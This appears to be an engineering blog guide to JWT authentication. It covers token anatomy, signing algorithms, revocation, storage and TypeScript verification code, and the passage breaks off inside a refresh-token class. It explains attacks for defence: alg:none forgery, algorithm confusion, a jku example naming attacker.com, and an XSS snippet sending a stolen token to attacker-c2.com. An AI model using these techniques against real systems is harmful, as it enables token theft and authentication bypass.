JWT Authentication: How It Works and Where It Fits

A comprehensive engineering guide to JWT authentication: RFC 7519 mechanics, signing algorithms, critical attack vectors, revocation tradeoffs, and token rotation.

September 14, 202519 min readOpenStair Engineering
Diagram showing authentication tokens moving between app, API, and identity layers

JWT Authentication: How It Works and Where It Fits

JSON Web Tokens (JWTs) are among the most widely deployed—and frequently misunderstood—primitives in modern web and distributed systems architecture. Originally standardized in RFC 7519, JWTs offer a compact, URL-safe container format for transferring verified claims between parties.

In distributed systems, microservices, and mobile-first backends, the promise of JWTs is alluring: an Identity Provider (IdP) cryptographically signs user metadata into a self-contained string, allowing downstream API gateways and resource servers to verify identity statelessly without executing a database lookup or distributed cache read on every incoming HTTP request.

Yet engineering teams frequently run into critical operational and security hurdles when moving from textbook tutorials to production:

  • Treating tokens as encrypted envelopes, inadvertently leaking private data over Base64URL-encoded strings.
  • Struggling with the stateless revocation paradox: the inability to immediately invalidate compromised credentials without reintroducing centralized state.
  • Exposing tokens to client-side credential theft by storing access credentials in browser localStorage.
  • Vulnerabilities arising from flawed parser implementations, such as the infamous alg: "none" exploit or algorithm confusion attacks between symmetric HMAC and asymmetric RSA keys.

This guide explores the internal mechanics of JWT authentication from first cryptographic principles. We will dissect the token anatomy under RFC 7519, evaluate signing algorithms and attack vectors, analyze revocation and storage trade-offs, and implement a self-contained, production-grade JWT engine and Refresh Token Rotation (RTR) system in TypeScript.


RFC 7519 Anatomy & Cryptographic Mechanics

A JSON Web Token in compact serialization consists of three distinct segments delimited by periods (.):

Header.Payload.Signature

Each segment performs a specific cryptographic and structural role within the JSON Object Signing and Encryption (JOSE) framework.

+-------------------------------------------------------------------------+
|                               JWT ANATOMY                               |
+------------------------------------+------------------------------------+
| Segment                            | Internal Format & Purpose          |
+------------------------------------+------------------------------------+
| 1. Header (JOSE)                   | Base64URL-encoded JSON:            |
|    {"alg": "RS256", "typ": "JWT"}  | Declares algorithm and key metadata|
+------------------------------------+------------------------------------+
| 2. Payload (Claims)                | Base64URL-encoded JSON:            |
|    {"sub": "u_102", "exp": 172650} | Identity, scopes, expiration data  |
+------------------------------------+------------------------------------+
| 3. Cryptographic Signature         | Binary signature digest:           |
|    Sign(Header + "." + Payload)    | Guarantees message integrity       |
+------------------------------------+------------------------------------+

1. Base64URL Encoding: Encoding Is Not Encryption

A foundational security reality is that Base64URL encoding (RFC 4648 §5) provides zero confidentiality.

Base64URL modifies standard Base64 encoding for safe transport inside HTTP headers and query strings by:

  1. Replacing + with -
  2. Replacing / with _
  3. Omitting trailing = padding characters

Any client, proxy, packet capture, or browser extension that inspects the token string can decode the header and payload instantly:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9  -->  {"alg":"HS256","typ":"JWT"}

In standard JWT deployments, the token is a JSON Web Signature (JWS / RFC 7515), which guarantees authenticity and tamper-evidence, but not privacy. If claims contain sensitive personally identifiable information (PII)—such as social security numbers, plain credentials, or internal network topology—that data is exposed in plaintext.

When confidentiality is mandatory, the system must use JSON Web Encryption (JWE / RFC 7516), which encapsulates encrypted ciphertext within a five-part compact serialization (Header.EncryptedKey.InitVector.Ciphertext.AuthTag), or keep sensitive attributes on the server behind an opaque session pointer.

2. The JOSE Header

The header informs downstream verifiers which cryptographic algorithm and key parameters were used to generate the signature:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "auth-key-2025-q3"
}
  • alg: The cryptographic signing algorithm (e.g., HS256, RS256, ES256).
  • typ: Explicitly set to "JWT" to distinguish the token from other JOSE objects.
  • kid (Key ID): An identifier pointing downstream resource servers to the specific public key in a JSON Web Key Set (JWKS) required for signature verification.

3. Payload: Registered, Public, and Private Claims

RFC 7519 §4.1 establishes standard claim names designed for interoperability:

| Claim | Name | RFC Semantics | Verification Rule | | :--- | :--- | :--- | :--- | | sub | Subject | Identifies the principal (e.g., user ID or service UUID). | Verifier matches against expected domain entity. | | iss | Issuer | Identifies the IdP that issued the token (URI or domain string). | Verifier must enforce an exact string match. | | aud | Audience | Identifies intended recipients of the token. | Verifier must ensure its own client ID is present. | | exp | Expiration Time | Unix epoch timestamp (seconds) after which token is invalid. | Current time must be strictly before exp (plus clock leeway). | | nbf | Not Before | Unix epoch timestamp before which token must not be accepted. | Current time must be on or after nbf (minus clock leeway). | | iat | Issued At | Unix epoch timestamp marking when the token was created. | Used to detect stale tokens or invalidate sessions prior to reset. | | jti | JWT ID | Unique cryptographically random identifier for the token. | Used for replay prevention and one-time denylist lookups. |

Payload Bloat and HTTP Header Limits

Unlike stateful cookies that hold a compact 32-byte opaque session identifier, a JWT contains all embedded claims. Adding granular role-based access control (RBAC) lists, group memberships, and user metadata directly into the payload increases token size.

A token containing dozens of permission strings can easily exceed 2 KB to 4 KB. When transmitted on every API request within the Authorization: Bearer <token> header, it consumes upstream network bandwidth and risks triggering 431 Request Header Fields Too Large errors on web servers (e.g., Nginx defaults to 4 KB to 8 KB buffer limits for client request headers).


Cryptographic Signing Algorithms & Trade-offs

The security of a JWT depends entirely on the mathematical integrity of its signature. Verifiers recalculate or mathematically validate the signature over the combined ASCII string Base64URL(Header) + "." + Base64URL(Payload) using a shared secret or public cryptographic key.

Signing Input = ASCII( Base64URL(Header) + "." + Base64URL(Payload) )

Selecting a signing algorithm dictates whether downstream services require shared secrets or public key distribution.

Symmetric Signing: HMAC (HS256, HS384, HS512)

HMAC (Hash-based Message Authentication Code) algorithms use a single symmetric key for both signing and verifying tokens:

Signature=Base64URL(HMAC-SHA256(SigningInput,Kshared))\text{Signature} = \text{Base64URL}(\text{HMAC-SHA256}(\text{SigningInput}, K_{\text{shared}}))

[ Auth Service ] ──(signs with K_shared)──> [ Client ] ──(presents token)──> [ Billing Service ]
                                                                                   │
                                                          (verifies with K_shared) ┘

Architectural Limitation: Microservice Secret Distribution

While HMAC is computationally lightweight, it presents severe key management challenges in distributed architectures:

  1. Symmetric Compromise: Every resource server, gateway, or microservice that verifies the token must hold the exact symmetric secret KsharedK_{\text{shared}}. If a single internal service is compromised, the attacker extracts KsharedK_{\text{shared}} and can forge valid administrative tokens for every service in the infrastructure.
  2. Key Entropy Requirements: Under RFC 7518 §3.2, the secret key for HS256 must contain at least 256 bits (32 bytes) of cryptographic randomness. If engineers use weak, memorable passwords (e.g., "company-jwt-secret-2025"), attackers can capture signed tokens from network traffic and execute offline dictionary attacks using GPU clusters (such as Hashcat) at billions of guesses per second to recover the secret without alerting the server.

Asymmetric Signing: RSA (RS256) and ECDSA (ES256, EdDSA)

Asymmetric algorithms split cryptographic responsibility between a private key (KprivateK_{\text{private}}) and a public key (KpublicK_{\text{public}}).

[ Identity Provider (IdP) ]
       │ Holds K_private (secret)
       ▼ Signs token
    [ JWT ]
       │
       ▼ Sent to client
   [ Client ]
       │
       ▼ Authorization: Bearer <JWT>
[ API Gateway / Microservice ]
       ▲
       │ Verifies signature using K_public
[ Public Key / JWKS ]
  • Identity Provider (IdP): Holds the private key in hardware security modules (HSMs) or isolated key vaults. It signs tokens during authentication.
  • Resource Servers & API Gateways: Hold only the public key. They verify signatures statelessly. Even if a downstream microservice is completely compromised, the attacker obtains only the public key, rendering them unable to forge new tokens.

RS256 vs. ES256 vs. EdDSA

  • RS256 (RSA Signature with SHA-256): The historical industry workhorse. Requires a minimum RSA key modulus of 2048 bits (3072 bits recommended for modern security standards). Because RSA keys and signatures are large (a 2048-bit key produces a 256-byte binary signature), it adds measurable overhead to each request.
  • ES256 (ECDSA with NIST P-256 Curve): Uses elliptic curve cryptography. A 256-bit elliptic curve key achieves cryptographic strength roughly equivalent to a 3072-bit RSA key, while producing an IEEE P1363 signature of only 64 bytes (or ~70–72 bytes in DER encoding). It provides faster signature generation and smaller token payloads.
  • EdDSA (Ed25519 / RFC 8037): Uses twisted Edwards curves. It offers superior performance, constant-time operations resistant to side-channel cache-timing attacks, and deterministic signature generation without requiring an external cryptographic entropy source during signing.

Cryptographic Algorithm Comparison

| Dimension | HS256 | RS256 | ES256 | EdDSA (Ed25519) | | :--- | :--- | :--- | :--- | :--- | | Cryptography Type | Symmetric (HMAC) | Asymmetric (RSA) | Asymmetric (ECDSA) | Asymmetric (Edwards Curve) | | Key Architecture | Single shared secret | Private signing / Public verification | Private signing / Public verification | Private signing / Public verification | | Key Size | ≥256 bits\ge 256\text{ bits} (32 bytes) | ≥2048 bits\ge 2048\text{ bits} | 256 bits256\text{ bits} (P-256) | 256 bits256\text{ bits} (Curve25519) | | Signature Size | 32 bytes32\text{ bytes} | 256 bytes256\text{ bytes} (for 2048-bit) | 64 bytes64\text{ bytes} (raw IEEE) | 64 bytes64\text{ bytes} | | Downstream Scalability | Low (secret sharing risk) | High (public key only) | High (public key only) | High (public key only) | | Computational Cost | Extremely low CPU | Moderate signing / Fast verify | Fast signing / Fast verify | Extremely fast / Low memory | | RFC Standard | RFC 7518 §3.2 | RFC 7518 §3.3 | RFC 7518 §3.4 | RFC 8037 §3.1 |

Critical Cryptographic Vulnerabilities & Attack Vectors

Vulnerabilities in JWT systems rarely stem from flaws in the underlying mathematical ciphers (such as SHA-256 or RSA). Instead, they arise from implementation mistakes in how servers parse headers and verify keys.

1. The alg: "none" Exploit (CVE-2015-9235)

The JOSE specification originally allowed an algorithm value of "none" to support unsecured tokens in debugging or pre-verified environments.

In vulnerable JWT libraries, the verification function inspected the header supplied by the untrusted client:

{
  "alg": "none",
  "typ": "JWT"
}

If the library naively checked if (header.alg === 'none') return payload;, the signature verification step was completely bypassed! An attacker could intercept a valid token, change "sub": "user_123" to "sub": "admin", set "alg": "none", remove the signature characters (leaving trailing periods ...), and send the forged token. Vulnerable backends accepted the token as valid.

Furthermore, attackers bypassed naive string matching by altering case ("None", "NONE", "nOnE").

+--------------------------------------------------------------------------+
|                        THE "alg: none" EXPLOIT                           |
+--------------------------------------------------------------------------+
| 1. Attacker takes legitimate token:                                      |
|    eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqb2huIn0.s3cr3tS1gn4tur3...          |
|                                                                          |
| 2. Attacker alters header & payload:                                     |
|    Header:  {"alg": "none", "typ": "JWT"}                                |
|    Payload: {"sub": "admin", "roles": ["superuser"]}                     |
|                                                                          |
| 3. Attacker reconstructs forged token without signature:                 |
|    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.             |
|                                                                          |
| 4. Flawed parser sees alg="none", skips verification, and grants access! |
+--------------------------------------------------------------------------+

Defense: Verification logic must enforce a strict server-side algorithm whitelist:

// Enforce explicit algorithm whitelist; reject "none" unconditionally
const allowedAlgorithms = ['RS256'];
if (!allowedAlgorithms.includes(header.alg)) {
  throw new Error('Algorithm not permitted');
}

2. The Algorithm Confusion (Key Confusion) Attack

The algorithm confusion attack occurs when a backend system accepts both symmetric (HS256) and asymmetric (RS256) tokens, but relies on a generic verification method that extracts the algorithm directly from the incoming header.

+--------------------------------------------------------------------------+
|                       ALGORITHM CONFUSION ATTACK                         |
+--------------------------------------------------------------------------+
|                                                                          |
| 1. Attacker downloads server's public RSA key (e.g. from JWKS endpoint):  |
|    -----BEGIN PUBLIC KEY-----                                            |
|    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz...                     |
|    -----END PUBLIC KEY-----                                              |
|                                                                          |
| 2. Attacker crafts forged token:                                         |
|    Header:  {"alg": "HS256", "typ": "JWT"}   <-- Changes RS256 to HS256   |
|    Payload: {"sub": "admin"}                                             |
|                                                                          |
| 3. Attacker signs token using the RSA PUBLIC KEY PEM string as the      |
|    symmetric HMAC secret key!                                            |
|                                                                          |
| 4. Backend receives token:                                               |
|    - Reads header.alg -> "HS256"                                         |
|    - Passes configured key (which is the public key) to HMAC verifier:   |
|      crypto.createHmac('sha256', serverPublicKeyPem)                     |
|    - Signature matches! Attacker gains administrator privileges.         |
|                                                                          |
+--------------------------------------------------------------------------+

How the Confusion Happens

  1. The server is configured to verify tokens with an RSA public key KpublicK_{\text{public}} (which is public knowledge and frequently published on /.well-known/jwks.json).
  2. An attacker crafts a payload granting themselves elevated privileges.
  3. The attacker modifies the header to specify alg: "HS256".
  4. The attacker signs the token using HMAC-SHA256, feeding the server's public key text as the HMAC shared secret.
  5. When the server processes the token, its naive verification function reads alg: "HS256" from the header, selects HMAC-SHA256, and executes HMAC-SHA256(SigningInput, Key).
  6. Because the server passed its public key into the verification function, the signature matches perfectly.

Defenses:

  1. Never allow client-controlled algorithm selection: Verification options must explicitly declare the expected algorithm (algorithms: ['RS256']). If an incoming token specifies HS256, the verifier immediately rejects it without inspecting keys.
  2. Type-Safe Key Encodings: Use typed cryptographic key objects (such as Node.js crypto.KeyObject). A KeyObject with type: 'public' will throw an explicit exception if supplied to an HMAC operation.

3. JWKS & Dynamic Key Retrieval Risks

Modern identity providers expose their public keys formatted as JSON Web Key Sets (RFC 7517) at standardized endpoints:

GET /.well-known/jwks.json
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "kid": "auth-key-2025-q3",
      "alg": "RS256",
      "n": "u1W15V...",
      "e": "AQAB"
    }
  ]
}

Downstream services match the incoming token's header kid against keys in this set, caching the JWKS in memory to avoid making an external HTTP request on every request.

Security Pitfalls:

  • SSRF via jku Headers: RFC 7515 specifies a jku (JWK Set URL) header pointing to a set of keys. If a resource server fetches keys dynamically from an untrusted jku supplied in the header, an attacker can specify their own server (https://attacker.com/jwks.json), supplying a public key corresponding to their private key. This enables Server-Side Request Forgery (SSRF) and complete authentication bypass.
  • Cache Stampede / Resource Exhaustion via kid Spoofing: If an attacker sends millions of requests with random, non-existent kid values, an improperly designed verifier might bypass its cache and query the upstream IdP on each request, triggering network saturation and service denial.
  • Defenses: Pin JWKS endpoints statically to trusted IdP domains. Never fetch keys from dynamic jku URLs. Rate-limit JWKS cache-refresh operations (e.g., maximum 1 refresh per minute on unknown kid).

The Stateless Revocation Paradox & The Dual-Token Pattern

The defining architectural claim of JWTs is statelessness: once signed, any node with the public key can verify the token without shared storage or database queries.

However, this design gives rise to the stateless revocation paradox:

If a token requires zero server state to verify, it cannot be revoked before its expiration timestamp (exp) elapses without reintroducing server state.

Consider standard business workflows:

  • A user clicks "Log out of all devices".
  • An employee is terminated, requiring immediate suspension of corporate access.
  • A user resets their password after suspecting an account breach.
  • An administrator revokes a user's permissions.

If the resource servers only check the cryptographic signature and exp, the user's existing JWT remains valid across the entire distributed system until it naturally expires.

+-------------------------------------------------------------------------+
|                    THE STATELESS REVOCATION DILEMMA                     |
+-------------------------------------------------------------------------+
|                                                                         |
| Option A: Pure Stateless Verification                                   |
| - Fast: 0ms database or cache latency.                                  |
| - Severe vulnerability: Revocation is impossible until exp elapses.     |
|                                                                         |
| Option B: Global Token Denylist (Redis check on every request)          |
| - Revocation works: Store revoked jti in Redis with TTL = remaining exp.|
| - Paradox: Every API call now queries Redis; the primary advantage of   |
|   stateless tokens is negated while retaining serialization overhead!   |
|                                                                         |
| Option C: The OAuth 2.1 Dual-Token Architecture (Recommended)           |
| - Short-lived Access Token (5–15 mins, verified statelessly).           |
| - Long-lived Refresh Token (7–30 days, statefully tracked in DB/Redis).  |
| - Refresh Token Rotation (RTR) with Token Family Reuse Detection.       |
|                                                                         |
+-------------------------------------------------------------------------+

The Dual-Token Architecture (OAuth 2.1 Standard)

The industry-standard solution balances cryptographic decoupling against security control by splitting authentication into two complementary tokens:

  1. Access Token:
    • Short-lived (typically 5 to 15 minutes).
    • Formatted as a signed JWT.
    • Contains identity claims (sub) and authorization scopes.
    • Verified statelessly by API gateways and resource servers using public keys.
    • The security blast radius of a stolen access token is strictly bounded by its brief lifespan.
  2. Refresh Token:
    • Long-lived (typically 7 to 30 days).
    • High-entropy, cryptographically secure random string (opaque token).
    • Stored hashed (e.g., SHA-256) in a central database or Redis cluster alongside user metadata, device identifiers, and expiration timestamps.
    • Sent only to the central Auth Service endpoint (/api/auth/refresh) when the short-lived access token expires.

Refresh Token Rotation (RTR) with Reuse Detection

Under OAuth 2.1, security best practices mandate Refresh Token Rotation (RTR). Every time a client submits a refresh token to obtain a fresh access token, the auth server invalidates the submitted refresh token and issues a brand-new refresh token alongside the new access token.

Token Family Lineage and Breach Containment

To detect credential theft, refresh tokens are grouped into a Token Family:

  • When a user logs in, a new family_id is created.
  • Each rotation generates a new generation of the refresh token within that family while marking the previous token as consumed.
  • If an attacker intercepts a refresh token and attempts to replay it after the legitimate client has already rotated it, the server detects that an already-consumed token was presented.
  • Immediate Breach Containment: The server recognizes a replay attack, immediately revokes the entire token family, and invalidates all active sessions for that device or user.
=============================================================================
                       REFRESH TOKEN ROTATION (RTR) FLOW
=============================================================================

LEGITIMATE ROTATION:
Client                    Auth Server                      Database
  │                           │                               │
  ├── 1. POST /refresh ──────>│                               │
  │      (Presents RT_gen1)   ├── 2. Verify RT_gen1 valid ───>│
  │                           │   3. Mark RT_gen1 CONSUMED ──>│
  │                           │   4. Store RT_gen2 ACTIVE ───>│
  │<── 5. Returns AT2 + RT2 ──┤                               │
  │                           │                               │

MALICIOUS REPLAY DETECTION (Breach Scenario):
Attacker                  Auth Server                      Database
  │                           │                               │
  ├── 1. POST /refresh ──────>│                               │
  │      (Presents RT_gen1)   ├── 2. Query RT_gen1 ──────────>│
  │                           │<─ 3. Returns status: CONSUMED ┤
  │                           │                               │
  │                           │   *** REUSE DETECTED! ***     │
  │                           ├── 4. Invalidate ENTIRE family>│
  │                           │      (family_id revoked)      │
  │<── 5. HTTP 401 (Revoked) ─┤                               │
  │                           ├── 6. Trigger Security Alert   │
  │                           │      Log telemetry & audit    │

Client Storage & Transport Security

How tokens are stored on client devices determines vulnerability to credential theft. The two dominant attack vectors on web and mobile clients are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

Browser Storage: The localStorage Trap

Storing authentication tokens in browser localStorage or sessionStorage is widely discouraged in production applications due to XSS vulnerability:

// Any injected script running on the page can execute:
const token = window.localStorage.getItem('accessToken');
fetch('https://attacker-c2.com/exfiltrate?t=' + encodeURIComponent(token));

Because modern web applications frequently import hundreds of third-party npm packages, utilize third-party analytics scripts, and accept user-generated markdown or HTML, preventing all vectors of DOM-based XSS is challenging. If an attacker achieves script execution, any token stored in localStorage can be extracted instantly.

Secure Web Storage: HttpOnly Cookies & CSRF Defenses

A hardened web architecture stores tokens inside cookies configured with strict browser security attributes:

  • HttpOnly: Prevents client-side JavaScript (document.cookie) from reading the cookie, mitigating token exfiltration via XSS.
  • Secure: Instructs the browser to transmit the cookie over encrypted TLS (HTTPS) connections only.
  • SameSite=Strict or SameSite=Lax: Directs the browser not to send the cookie on cross-site requests, neutralizing CSRF.

Mitigating CSRF with Custom Headers

Because browsers automatically attach cookies to HTTP requests destined for the issuing domain, an attacker hosting a malicious website could trigger state-changing POST requests against your API if CSRF defenses are absent.

Defenses:

  1. SameSite=Lax / SameSite=Strict: Modern browsers block cookies on cross-origin POST requests under Lax or Strict.
  2. Custom Request Headers: Require client JavaScript to send custom HTTP headers (such as X-Requested-With: XMLHttpRequest or an anti-CSRF token). Browsers prohibit cross-origin web pages from attaching custom headers unless explicitly authorized by the target server via Cross-Origin Resource Sharing (CORS) preflight (OPTIONS) checks.

The Backend-for-Frontend (BFF) Pattern

For modern Single Page Applications (Next.js, React, Vue), the recommended enterprise architecture is the Backend-for-Frontend (BFF) pattern.

[ Browser / SPA ]
       │
       │  Encrypted, HttpOnly, SameSite Session Cookie
       ▼
[ BFF Layer / Next.js Server / API Gateway ]
       │
       │  Stateless JWT Bearer Token (Authorization: Bearer <jwt>)
       ▼
[ Internal Microservices & Resource Servers ]
  1. The browser communicates exclusively with a lightweight server-side BFF proxy using encrypted, HttpOnly session cookies.
  2. The browser never touches or inspects the JWT directly.
  3. The BFF proxy manages token storage, handles refresh token rotation server-side, attaches the JWT to the downstream Authorization: Bearer header, and forwards the request to internal microservices.

Mobile Client Storage: Keychain & Keystore

On mobile platforms, authentication tokens should never be written to plaintext preferences files (such as Android SharedPreferences or iOS UserDefaults).

  • iOS: Store tokens in the iOS Keychain Services API using kSecClassGenericPassword with access control flags such as kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly. Keychain entries are encrypted using hardware AES keys backed by Apple's Secure Enclave.
  • Android: Use the Android Keystore system combined with EncryptedSharedPreferences (from the Jetpack Security library). Cryptographic master keys are stored in hardware-backed KeyStore or StrongBox modules, preventing token extraction even if the device filesystem is accessed.

Client Storage Security Matrix

| Storage Mechanism | Platform | XSS Resistance | CSRF Exposure | Persistence Across Restarts | Production Recommendation | | :--- | :--- | :--- | :--- | :--- | :--- | | localStorage | Web / SPA | ❌ Vulnerable (accessible via JS) | None (manual header required) | Yes | ⚠️ Avoid for sensitive credentials | | In-Memory Variable | Web / SPA | ✅ High (cannot be scraped from storage) | None | ❌ Lost on page reload | Good for short-lived access tokens | | HttpOnly, Secure Cookie | Web | ✅ Immune to JavaScript scraping | ⚠️ Requires CSRF defense (SameSite) | Configurable (Session / Max-Age) | ✅ Recommended standard for web | | BFF Proxy Pattern | Web / Next.js | ✅ Complete isolation from browser | Managed at gateway | Managed on server | 🏆 Best practice for modern SPAs | | iOS Keychain | iOS Native | ✅ High (OS hardware sandbox) | None (native requests) | Yes | 🏆 Best practice for iOS | | Android Keystore | Android Native | ✅ High (Hardware KeyMint/TEE) | None (native requests) | Yes | 🏆 Best practice for Android |

Production-Grade TypeScript Implementations

Below are complete, self-contained, and type-safe TypeScript implementations demonstrating cryptographic token verification and stateful Refresh Token Rotation.

1. Cryptographic JWT Service (JwtService)

This service implements:

  • RFC 4648 §5 compliant Base64URL encoding and decoding.
  • RFC 7518 compliant HMAC-SHA256 signing and constant-time signature verification.
  • Asymmetric RS256 signature verification using Node.js node:crypto.
  • Strict algorithm whitelisting to eliminate alg: "none" and algorithm confusion vectors.
  • Comprehensive claim verification (exp, nbf, iss, aud) with configurable clock tolerance (leeway).
import crypto from "node:crypto";

export interface JwtHeader {
  alg: "HS256" | "RS256" | "ES256";
  typ: "JWT";
  kid?: string;
}

export interface JwtPayload {
  iss?: string;
  sub?: string;
  aud?: string | string[];
  exp?: number;
  nbf?: number;
  iat?: number;
  jti?: string;
  [key: string]: unknown;
}

export interface VerifyOptions {
  allowedAlgorithms: Array<"HS256" | "RS256" | "ES256">;
  expectedIssuer?: string;
  expectedAudience?: string;
  clockToleranceSeconds?: number;
}

export class JwtError extends Error {
  public readonly code: string;

  constructor(message: string, code: string) {
    super(message);
    this.name = "JwtError";
    this.code = code;
  }
}

export class JwtService {
  /**
   * Encodes a Buffer or UTF-8 string to a Base64URL-encoded string (RFC 4648 §5).
   */
  public static base64UrlEncode(input: Buffer | string): string {
    const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input, "utf8");
    return buffer
      .toString("base64")
      .replace(/=/g, "")
      .replace(/\+/g, "-")
      .replace(/\//g, "_");
  }

  /**
   * Decodes a Base64URL-encoded string back to a Buffer.
   */
  public static base64UrlDecode(input: string): Buffer {
    let base64 = input.replace(/-/g, "+").replace(/_/g, "/");
    while (base64.length % 4 !== 0) {
      base64 += "=";
    }
    return Buffer.from(base64, "base64");
  }

  /**
   * Signs a payload using HMAC-SHA256 with key entropy validation.
   */
  public static signHmacSha256(
    payload: JwtPayload,
    secret: string | Buffer,
    headerOptions: Partial<JwtHeader> = {}
  ): string {
    const secretBuffer = Buffer.isBuffer(secret) ? secret : Buffer.from(secret, "utf8");
    
    // RFC 7518 §3.2 requires HMAC keys to be >= hash digest size (32 bytes / 256 bits)
    if (secretBuffer.length < 32) {
      throw new JwtError(
        "RFC 7518 mandates HMAC keys for HS256 must be at least 256 bits (32 bytes)",
        "INSUFFICIENT_KEY_ENTROPY"
      );
    }

    const header: JwtHeader = {
      alg: "HS256",
      typ: "JWT",
      ...headerOptions,
    };

    const encodedHeader = this.base64UrlEncode(JSON.stringify(header));
    const encodedPayload = this.base64UrlEncode(JSON.stringify(payload));
    const signingInput = `${encodedHeader}.${encodedPayload}`;

    const hmac = crypto.createHmac("sha256", secretBuffer);
    hmac.update(signingInput);
    const signature = this.base64UrlEncode(hmac.digest());

    return `${signingInput}.${signature}`;
  }

  /**
   * Verifies and decodes a JWT with strict algorithm enforcement and claims checking.
   */
  public static verify(
    token: string,
    keyOrSecret: string | Buffer | crypto.KeyObject,
    options: VerifyOptions
  ): { header: JwtHeader; payload: JwtPayload } {
    const parts = token.split(".");
    if (parts.length !== 3) {
      throw new JwtError("Malformed token: JWT must contain exactly 3 segments", "INVALID_TOKEN_FORMAT");
    }

    const [rawHeader, rawPayload, rawSignature] = parts;

    // 1. Decode & parse JOSE Header
    let header: JwtHeader;
    try {
      header = JSON.parse(this.base64UrlDecode(rawHeader).toString("utf8"));
    } catch {
      throw new JwtError("Invalid header: failed to parse JSON", "INVALID_HEADER");
    }

    if (!header.alg || typeof header.alg !== "string") {
      throw new JwtError("Header missing alg property", "INVALID_HEADER");
    }

    // 2. Strict Algorithm Whitelist check (Prevents alg: "none" and Algorithm Confusion)
    const normalizedAlg = header.alg.trim();
    if (
      normalizedAlg.toLowerCase() === "none" ||
      !options.allowedAlgorithms.includes(normalizedAlg as JwtHeader["alg"])
    ) {
      throw new JwtError(
        `Algorithm '${header.alg}' is not permitted by verification policy`,
        "ALGORITHM_NOT_ALLOWED"
      );
    }

    // 3. Cryptographic Signature Verification
    const signingInput = `${rawHeader}.${rawPayload}`;
    const providedSignatureBuffer = this.base64UrlDecode(rawSignature);

    if (normalizedAlg === "HS256") {
      const secretBuffer = Buffer.isBuffer(keyOrSecret)
        ? keyOrSecret
        : typeof keyOrSecret === "string"
        ? Buffer.from(keyOrSecret, "utf8")
        : null;

      if (!secretBuffer) {
        throw new JwtError("HS256 requires a string or Buffer secret", "INVALID_KEY_TYPE");
      }

      const hmac = crypto.createHmac("sha256", secretBuffer);
      hmac.update(signingInput);
      const expectedSignatureBuffer = hmac.digest();

      // Timing-safe comparison to mitigate timing side-channel attacks
      if (
        providedSignatureBuffer.length !== expectedSignatureBuffer.length ||
        !crypto.timingSafeEqual(providedSignatureBuffer, expectedSignatureBuffer)
      ) {
        throw new JwtError("Cryptographic signature verification failed", "INVALID_SIGNATURE");
      }
    } else if (normalizedAlg === "RS256" || normalizedAlg === "ES256") {
      const cryptoAlg = normalizedAlg === "RS256" ? "RSA-SHA256" : "SHA256";
      const verifier = crypto.createVerify(cryptoAlg);
      verifier.update(signingInput);

      const isValid = verifier.verify(keyOrSecret as crypto.KeyLike, providedSignatureBuffer);
      if (!isValid) {
        throw new JwtError("Cryptographic signature verification failed", "INVALID_SIGNATURE");
      }
    }

    // 4. Decode & parse Payload
    let payload: JwtPayload;
    try {
      payload = JSON.parse(this.base64UrlDecode(rawPayload).toString("utf8"));
    } catch {
      throw new JwtError("Invalid payload: failed to parse JSON", "INVALID_PAYLOAD");
    }

    // 5. Claims Verification
    const nowEpoch = Math.floor(Date.now() / 1000);
    const leeway = options.clockToleranceSeconds ?? 0;

    // exp (Expiration Time)
    if (payload.exp !== undefined) {
      if (typeof payload.exp !== "number") {
        throw new JwtError("Claim 'exp' must be a numeric Unix epoch timestamp", "INVALID_CLAIM_FORMAT");
      }
      if (nowEpoch - leeway >= payload.exp) {
        throw new JwtError(`Token expired at ${new Date(payload.exp * 1000).toISOString()}`, "TOKEN_EXPIRED");
      }
    }

    // nbf (Not Before)
    if (payload.nbf !== undefined) {
      if (typeof payload.nbf !== "number") {
        throw new JwtError("Claim 'nbf' must be a numeric Unix epoch timestamp", "INVALID_CLAIM_FORMAT");
      }
      if (nowEpoch + leeway < payload.nbf) {
        throw new JwtError(`Token not active until ${new Date(payload.nbf * 1000).toISOString()}`, "TOKEN_NOT_YET_ACTIVE");
      }
    }

    // iss (Issuer)
    if (options.expectedIssuer && payload.iss !== options.expectedIssuer) {
      throw new JwtError(
        `Issuer mismatch: expected '${options.expectedIssuer}', got '${payload.iss}'`,
        "ISSUER_MISMATCH"
      );
    }

    // aud (Audience)
    if (options.expectedAudience) {
      const tokenAudiences = Array.isArray(payload.aud)
        ? payload.aud
        : typeof payload.aud === "string"
        ? [payload.aud]
        : [];

      if (!tokenAudiences.includes(options.expectedAudience)) {
        throw new JwtError(
          `Audience mismatch: expected '${options.expectedAudience}', got '${payload.aud}'`,
          "AUDIENCE_MISMATCH"
        );
      }
    }

    return { header, payload };
  }
}

2. Refresh Token Rotation (RTR) Engine (RefreshTokenManager)

This manager demonstrates:

  • Generating high-entropy opaque refresh tokens using crypto.randomBytes(32).
  • Storing cryptographic hashes (SHA-256) of tokens so plaintext credentials are never stored in databases.
  • Tracking token family lineage across rotations.
  • Detecting token reuse (theft scenario), immediately invalidating the entire family, and emitting security alerts.
export interface RefreshTokenRecord {
  tokenHash: string;
  familyId: string;
  userId: string;
  generation: number;
  isConsumed: boolean;
  expiresAt: number;
  consumedAt?: number;
}

export interface TokenPair {
  accessToken: string;
  refreshToken: string;
  expiresInSeconds: number;
}

export class SecurityBreachError extends Error {
  public readonly familyId: string;
  public readonly userId: string;

  constructor(message: string, familyId: string, userId: string) {
    super(message);
    this.name = "SecurityBreachError";
    this.familyId = familyId;
    this.userId = userId;
  }
}

export class RefreshTokenManager {
  // In production, back this map with Redis or an ACID SQL database
  private tokenStore: Map<string, RefreshTokenRecord> = new Map();
  private revokedFamilies: Set<string> = new Set();
  private readonly jwtSecret: string;
  private readonly accessTokenTtlSeconds: number;
  private readonly refreshTokenTtlSeconds: number;

  constructor(
    jwtSecret: string,
    accessTokenTtlSeconds: number = 900, // 15 minutes
    refreshTokenTtlSeconds: number = 604800 // 7 days
  ) {
    this.jwtSecret = jwtSecret;
    this.accessTokenTtlSeconds = accessTokenTtlSeconds;
    this.refreshTokenTtlSeconds = refreshTokenTtlSeconds;
  }

  private hashToken(rawToken: string): string {
